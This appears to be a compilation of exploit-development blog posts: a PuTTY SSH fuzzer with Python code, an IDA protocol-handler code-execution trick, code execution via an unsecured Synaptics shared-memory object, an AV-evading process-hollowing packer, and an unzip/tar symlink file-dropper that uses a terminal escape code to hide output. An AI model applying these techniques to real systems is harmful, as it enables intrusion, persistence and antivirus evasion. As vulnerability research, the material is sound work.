Fuzzing SSH Clients

For folks wanting to learn exploit development, heres a step-by-step writing in how to progress in finding bugs and breaking code. Along the way Ill drop some tid-bits in things to look out for in code and how to think about it.

Our target to play with here is going to be “putty.exe”. A super popular Windows SSH client. This project involves a little bit of reversing as well as some python coding to see if we can trigger a crash in an SSH client. I have no idea if this is going to work since I’m writing this live as I go. The idea is that if we can make a fuzzer that triggers a crash in the SSH client, then we can reverse engineer the crash and see if its something we can exploit. It would be pretty cool to have a rouge SSH server that could exploit client targets that connect, and I think SSH is a good protocol to attack since SSH clients never really get exposed to malformed SSH messages.

So what kind of fuzzer would we need to crash an SSH client? Well, we could just send random garbage to the SSH client when trying to connect (dumb fuzzer), but the problem with that is we would never advance logic state in the SSH client to be able to test further into the protocol, since initial handshake would obviously fail.  For an advanced protocol like this, we want a “smart(er) fuzzer” so I wrote a mock SSH server thats pretty dumb for SSH server goes, but from fuzzer standpoint – smart, because it can play the SSH protocol game a bit with the client and goof with it along the way. Even if we dont exploit something, maybe it can be a good tutorial on how to fuzz and what things to keep an eye out for when breaking software.

Reversing SSH Client

Server/Client Version Exchange

To begin, I want to see where the SSH client processes Server responses. This isnt necessary, but I want to have an idea of whats going on in the client. This involves firing up Putty.exe in debugger and connecting to a live SSH Server and breaking on “ws2_32.dll!recv”.

Once we broke we can trace back the call stack to see where it came from, as we know this will be the area of code that processes the SSH server message, and sure enough we find the function that processes input.

In wireshark we see the server/client handshake starts with a client/server name exchange.

After breaking on recv and sifting around the caller’s routine, we eventually find the function responsible for parsing server response.

This just checks if the first 4 bytes start with “SSH-“. Then Server SSH version information is extracted. I can see in the code that it expects to parse a “ssh version number” after the first “-” and after next “-“, parses a “ssh version name”.

For this part in fuzzing, I just played with netcat, which will allow us to listen on the SSH port as-if we were an SSH server and send messages back.

I sent various weird names back (some with 3 “-“, some with non printable characters, some super long). Nothing worked. So before I moved on, I decided to look at this handler a bit more.

An example of something that looked good to break in it, was this piece of code

This takes the SSH Server Version response (“SSH-2.0-MySSHserver”), looks for the terminating “\r\n” socket response, and replacing it with a “NULL”. This is basically is to try and convert the response to a NULL terminated string and then process it.

Maybe you can see something to possibly break in this?

The thing I see, is we could possibly trigger unexpected behavior here if we have a server name sent like “SSH-2.0-\x00MySSHserver\r\n”, since we will have inserted an unexpected NULL before the client expects to cap the response with its NULL character (by replacing \r\n characters). This mismatch could possibly confuse parsing, so I tried to play with this, but no luck.

Algorithm Negotiation

Lets look at next step in communication which is algorithm negotiation. From looking at wireshark (and going over the SSH RFC https://tools.ietf.org/html/rfc4253#section-7.1), we can understand the Algorithm negotiation a bit and see there must be some good amount of parsing involved.

I briefly reverse this section of code in the client to see if anything obvious stands out.

This one looked super cool at first. “Binary Packet Length” is the “packet_length” field from a server response. Try to see if you can see whats wrong with this code.

…if you said integer overflow you would be right. Unfortunately a few functions before it will actually check if the packet_length’s most significant bit is set, and then error-out…lame…and weird that they used a signed number for size, but I guess they handled their cases properly so they are protected.

Writting Fuzzer

Code for this fuzzer can be found at https://github.com/RISCYBusiness/SSHClientFuzzer.

Since things are getting more complex and requiring the need for binary input, its probably time to write some kind of lightweight framework. After reversing some basic SSH protocol steps I made a framework contains a small mock SSH server and some ability to be fuzzy. The input fuzzer itself is really simple since I just want to be able to generate random strings and also mutate existing strings. The fuzzer class is this simple. The intelligence is how we use it.

class riscy_fuzzer:
    def __init__(self):
        self.hFile = None
        self.fuzz_style = FUZZ_STYLE.NONE
        self.fuzz_severity = 0

    def fuzz_int(self, low=0, high=0xFFFFFFFF):
        return random.randint(low, high)

    def fuzz_str(self, length):
        return os.urandom(length)
    
    def mutate_str(self, _string):
        str_len = len(_string)
        iterations = int(str_len*self.fuzz_severity)
        new_chars = list(_string)
        for _ in range(0, iterations):
            index = random.randrange(0, str_len-1)
            new_chars[index] = chr(random.randrange(0, 0xff))
        return "".join(new_chars)
        
    def load_sniper_data(self):
        data = self.hFile.read()
        hFile.seek(0)
        return data

As you can see, there is a variable “fuzz_severity”, which can be set by our Server and will change how crazy the strings will get.

Since different fuzzing styles are mostly orthogonal (meaning each style wouldnt have any additional effect if different styles were combined) we can seperate our fuzzing styles to perform one at a time.

class FUZZ_STYLE:
    NONE = 0 # none
    SNIPER = 1  # Load data from file (Manual Fuzzing)
    BUFFER_BUSTER = 2 # Generate large data for target fields
    MUTATE = 3  # Morph current data. This is good for parsing bugs

When we startup our mock server, we can configure it to be specialized in ONE particular fuzzing style.

Great, now we have some mock SSH server and can fuzz back responses but as always with fuzzing: “how do we know we crashed the target”? For this scenario we have a good rule we can apply…

If client does not respond back in TIMEOUT amount of time, then consider it dead and to log the packet that caused the “halt” (crash).

SSH client should at least close server connection upon client error, having it dangling for a while could indicate crash because client was unable to send RESET packet. This brings us to making a small watchdog to check if things are taking too long from the Server side.

class SSHServer():
    SSH_SERVER_NAME = 'SSH-2.0-riscy_fuzzer'
    BIND_IP = '127.0.0.1'
    BIND_PORT = 22
    ALLOWED_CONNECTIONS = 1
    TIMEOUT = 5
    
...

    def accept_binary_packet(self):
        """
        Listens for packet with expected SSH Binary Packet protocol
        """
        ready = select.select([self.conn], [], [], self.TIMEOUT)
        if not ready[0]:
            print '\nClient is stuck!...Here is last packet sent to it:\n{}'.format(self.last_response.encode('hex'))
        clientmsg = self.conn.recv(5) # read packet_length and random_padding header
        BINARY_PACKET_SIZE = struct.unpack('>I', clientmsg[0:4])[0] + int(clientmsg[4].encode('hex'), 16) # packet_length + random_padding
        while len(clientmsg) < BINARY_PACKET_SIZE-15:
           clientmsg += self.conn.recv(1024)
        return clientmsg

This is pretty good, but not perfect, as more complex bugs like UAFs/deeper memory corruption would probably go unnoticed, but we can worry about that later since I think this would cover A LOT.

If we apply this approach then we need our fuzzing process to be something like:

  1. Start mock SSH server
  2. Start and connect SSH client
  3. Fuzz responses
  4. Check if crashed via “TIMEOUT check” (log offending packet if so)
  5. Restart SSH client
  6. Repeat step 2

We write it up and run it. This is the back-and-forth client/server communication. Each green SSH packet has various fields fuzzed. We can let this run for a bit.

I ran this a bit on Putty, but no stall/crash. I decided to go into “sniper” mode for the fuzzer.

Sniper

 

My script will go ahead and network play over the file I modify from my hex editor, so its a pretty quick testing setup. The file has a proper algorithm negotiation SSH packet which I modify a bit and see a kindof cool behavior happen in putty.

 

…More to come this week…

IDA text Execution

Update: some didnt like the fact a warning was spawned for execution. Since IDA users have python installed, a .py file can be used to bypass the dialog and run straight off the SMB share. In this case, the link is crafted to encourage a highlight for copy/paste. Be careful

 

When playing with IDA 6.5, I noticed it treating strings strangely. It would actually respect protocol handlers put on them in certain cases. A simple string of

“blah http://google.com”

when viewed in the disassembler would launch a webpage to google.com if double clicked on in IDA View  (used for string highlighting). The “blah” is necessary for the string to be treated as a protocoled command by IDA (“blah” could be any string, just needs to be a string before our URL). I debug IDA to find where this protocol handler is being processed, which I assumed was MkParseDisplayName (https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx) or something similar.

Debugging a bit, I found this was handled by the SHParseDisplayName API (https://msdn.microsoft.com/en-us/library/windows/desktop/bb762236(v=vs.85).aspx). I figured this would be simple and get straight to code execution with “blah htafile:baddomain.com/bad.hta”.

It seems this protocol was ignored (among several other common ones). I did notice that the “file:” protocol worked, although the  “file:///” would be stripped out before being passed to SHParseDisplayName, making my string of

“blah file:///test.com/poc.exe”

…becomes

“/test.com/poc.exe”

before being passed to SHParseDisplayName. This is a problem since we loose our ability to instruct Windows how to treat this string (as a protocoled command). I tried a few other techniques, but there simply was not a way around the fact it leaves a prepended ‘/’ character. Even when trying “file:///file:///test.com/poc.exe”, I just get “/file:///test.com/poc.exe” which is an invalid protocol of course.

It turned out to be simple, with a case change. This effectively bypassed the filter, which I didn’t even try because I thought surely it wouldn’t work…but it did, as we see the string argument to SHParseDisplayName.

Now when string is double clicked, this will be interpreted to execute (depending on file extension) meaning remote code execution can occur:

Code Execution via Insecure Synaptics Section Objects

Edit: Thanks for the comments, I realize this is NOT Lenovo specific problem, it just happened to come pre-loaded on my Lenovo machine.

Alex Ionescu did a cool talk a while back on exploiting unsecured shared memory objects. It sounded like an interesting attack vector to put to use, so I pulled up WinObj on my Lenovo machine and take a look for any ACL-less section objects (section objects are maps of memory that can be shared across applications – leave one of these unsecured and you are leaving yourself open to a 3rd party application able to read and write to it.)

My Lenovo had a memory map called “SynTPAPIMemMap”. Inspecting this via WinObj shows no ACLs – good place to start.

The owner of this memory map turned out to be SynTPEnh.exe, which is spawned at boot by the SynTPEnh service, a Lenovo touchpad utility.

Examining one of the SynTPEnh.exe .dlls in IDA, we can see it is responsible for creating and managing this memory map.

Since any app can read/write to this mapping, all one has to do is find all references made to this memory map and see what choke points best to attack. Out of all the references I found to it, the most promising one was the dll export “RegisterPluginW”, which seems to be called every time the user “clicks” and or even touches the mouse pad at times.

 

When RegisterPluginW is called, I noticed it will iterate over the memory map, setting of my memory breakpoints. The inner function responsible for this is the function I named “RespawnProc” (below).

Examining the RespawnProc function, I see it has the possibility to call the “CreateProcess” function, and whats even more incredible, is the cmdLine parameter for the CreateProcess, is pulled right from the memory map (rbx), which we can control!

To control execution flow where I want, we need to get “WindowCheck” function to return 0. Lets see how we do that…

Inside WindowCheck function

Looking at the function, its relying again on input from the same unsecured memory map. We can get this function to fail by writing invalid handles and invalid process IDs to the buffer its using to store them. This is probably a mechanism to relaunch this window process, in the event it died. Too bad their storing this in an unsecured memory map. To cause this to fail, we need to understand the format of the buffer, and what its all about.

After lightly reverse engineering the memory map, I found the buffer was an array of over 20 TPAPI objects. Highlighted in this memory below is one TPAPI object (Red) and a few important members.

The cmdline member in blue, is used as the CreateProcess parameter. It seems that it should be as simple as rewriting the cmdLine to a process I want to spawn, and setting invalid PID and/or Window Handle members to force the “WindowCheck” function to fail. I only have to worry about doing this to the first TPAPI object, since all will be iterated over upon touch/click and I dont need 27 calc.exe instances popping up.

Here is part of very simple code to trigger this execution.

We execute this code, and the second I move the mouse calc.exe instance is spawned from SynTPEnh process with inherited permissions.

 

What we have now, is the ability for any application able to write to this Lenovo section object to get code execution as the current user’s account, which can be a privilege escalation (depending where you are running from), or it can be an execution divert, in environments you dont want child processes under MS Word for example.

Stealth Process Hollowing (via Hotswapping Maps)

I’ve recently released a process hollowing packer: RISCyPacker (https://github.com/RISCYBusiness/RISCYpacker). This hollower technique is unique in the fact that it is able to hollow a process dynamically (without process suspension) and without using some of the more sketchy Win APIs. This means no WriteProcessMemory, QueueUserApc, CreateRemoteThread, SetThreadContext calls. While I didn’t get around to testing with all AV, this technique should go undetected. For you Reversers, I attached a POC binary packed by it (end of article), so you can see how it works.

If you are motivated enough to test with more AV, let me know, Id be interested to hear

How It Works

Most process hollowing techniques rely on suspension of process, writing to remote memorymanipulating context (SetThreadContext/CreateRemoteThread/QueueUserAPC) and Resuming. The RISCyPacker technique trims the fat by only using Memory Modification steps (NtUnMapViewOfSection/NtMapViewOfSection) to accomplish a hollow.

In order for this to work, we need to be establish a guarantee that our thread can Unmap/Map remote executable memory before the remote thread is scheduled. If we go half-cocked (ie: only an unmap), we will get crashes since the thread’s EIP will point to nothing when its scheduled. Luckily we can use some thread priority and affinity to help us:

Create local Thread with High Priority

Set Remote Process’ Thread to Low Priority

The Affinity settings are of course required, since multicore processors may affect up our desired scheduling priorities we set. By putting them both on the same core, with different priorities, we can properly queue them up, allowing manipulation of remote memory before remote thread can access it.

Conceptual steps on how this hollower works (example w/ ftp.exe)

The injected NOP sled happens to also contain shellcode to load and built the IAT for the injected process.

Closing

A few things this packer must keep in mind, is a set of processes that can support a non-suspension injection. Some processes you want to hollow into, will immediately exit upon start (ie: xcopy.exe w/ no arguments) and thus miss the injection opportunity. For now, I only tested with ping.exe which was a good candidate for this. In the event a proc early exits, the hotswap technique will still work, it will just require a suspension (does not require CREATE_SUSPENDED, but rather suspended after normal creation (more stealthy)

RISCyPacker does not currently support x64/TLS/Exports. 

https://github.com/RISCYBusiness/RISCYpacker

Proof of concept exe for reversers. Password is “notinfected”

POC

Note on Stalled Apps

Some processes you hollow into may be in a blocking state (in a system library) by the time you hollow. This means it will not call back into it’s image base that we applied a NOP sled to. To get around this you can memswap libraries and externally trigger an enter. (For example, kernel32 can be unmapped/mapped and then a Kill process call to the hollowed process, this will force the stalling application to enter into kernel32/NOP sled you mapped).

 

Turning Unzip into a File Dropper

 

How did this compromise the machine?

If you find yourself/coworkers fearlessly unzipping and untaring 3rd party archives on your linux system, you may want to give this a read. Im going to show a POC on how an infection can occur solely through archive extractions.

The main functionality I targeted is the directory structure creation upon “unzip” or “tar -xvf” command ..If we can get files to be written to other places instead, then we can own the machine via autostart locations.

First attempt was to modify zip file and fool it into dropping files/directories with special path characters (“../” or “/” “). This may get me outside the “current working directory jail”.

  

 

Unzip is wise to this, and carefully parses out these characters before unpacking to avoid files escaping the current working directory. I found unzip has two different sanitizer routines. One pulls out directory traversal patterns, and the other pulls out “out-of-range characters (0x00-0x1f)”. Seeing this, the next step was to attempt paths like “.\x04./” hoping it would pass the traversal sanitizer and then be normalized by the out-of-range sanitizer; finally becoming “../”. Nope, still caught it.

After messing more with this, env vars, etc – I realized instead of going backwards to get out of the directory jail, you should go forward. This means making symlinks.

If an attacker can compress a directory with symlinks, these symlinks can be dropped which point to sensitive paths, and zip artifacts can be configured to write to them, thus traversing outside the current working directory.

Using ZIP with symlinks works simply enough (using the –symlinks flag), but it rats you out when it comes time to unzip, here shows a message from “unzip” claiming it just made a symlink to /etc/init.d/

can we suppress this? I attempted some terminal tricks to try that. If we can get unzip to echo special characters, we can control the terminal via Terminal Control Sequences (ie echo -e “\x1b[0;31m”). Well, we got that pesky sanitizer that unzip uses (filters out chars < 0x1F). Can we bypass the sanitizer?

Above you can see a format string being assembled, (which happens to be the symlink creation message “notScary -> /etc/init.d/”). All the sprint_f messages I could find were preceeded with this sanitizer routine. (alternatively, one could try making a filename field longer than 0x4000 in the zip format, which the sanitizer will fall short on (since 0x4000 = MAX_LENGTH), although, there are careful checks before this that wont allow this long of zip filename fields.

The only sprintf call I found that does not check for sanitization is the filename passed to zip itself, and apparently, you can name files with raw hex in them on Linux. So we make a zip file with an embedded terminal code for blanking out the console ‘\x1bPn=6’

zip -r Pictures[www.freepics.com$(echo -e “\x1bPn=6”)].zip /ResourceFolder).

Which appears as     on the filesystem. Regardless of the social engineering namestyle, running this through unzip, a terminal code will be executed (the ? mark is actually a \x1b character), since the sanitizer isnt ran on the filename itself. This blanks out the console, preventing any information being echoed about the unzip process. This zip can now drop files that wont be shown in the output…kinda cool

 

Animated GIF - Find & Share on GIPHY

Lets shelve this one for a sec. I found tar is the best way to deliver symlinks since they are preserved and there is no message of symlinks being made. The below file structure would exploit this, and cause infection whether unzipped as root or not (.desktop files in the .gnome dir for example). These are all autostart locations, that can get code to be ran upon next login (or even sooner with a cron job – if root).

The events become:

  1. untar Downloaded.tar
  2. unzip Pictures.zip (or Pictures[www.freepics.com?Pn=6].zip)
  3. infected

At unzip, the untared softlinks are hit and malware is written to /etc/init.d or the user directories paths to hit the user auto start. Heres where the console disable comes into play. Unless the targeted user’s name is known, we cant get persistence if not unziped as root, since we dont know the home/user directory name. For this, we need to attempt relative traversals (../) until we get to the $USER dir and hit files like .ssh/.gnome or other interesting files. Some of these may look strange, especially .ssh file being written. With the console hack, output can be supressed

Whats more concerning than the social engineering aspects of this, is the general concept that one can escape CWD jails with unzip or untar. This could be an issue for many platforms which allow submitted zips – trusting that contents will be jailed. For example, Android, which unzips .APKs under a priviledged process (PackageManager)…but dont bother trying this one, already did – doesnt work 😉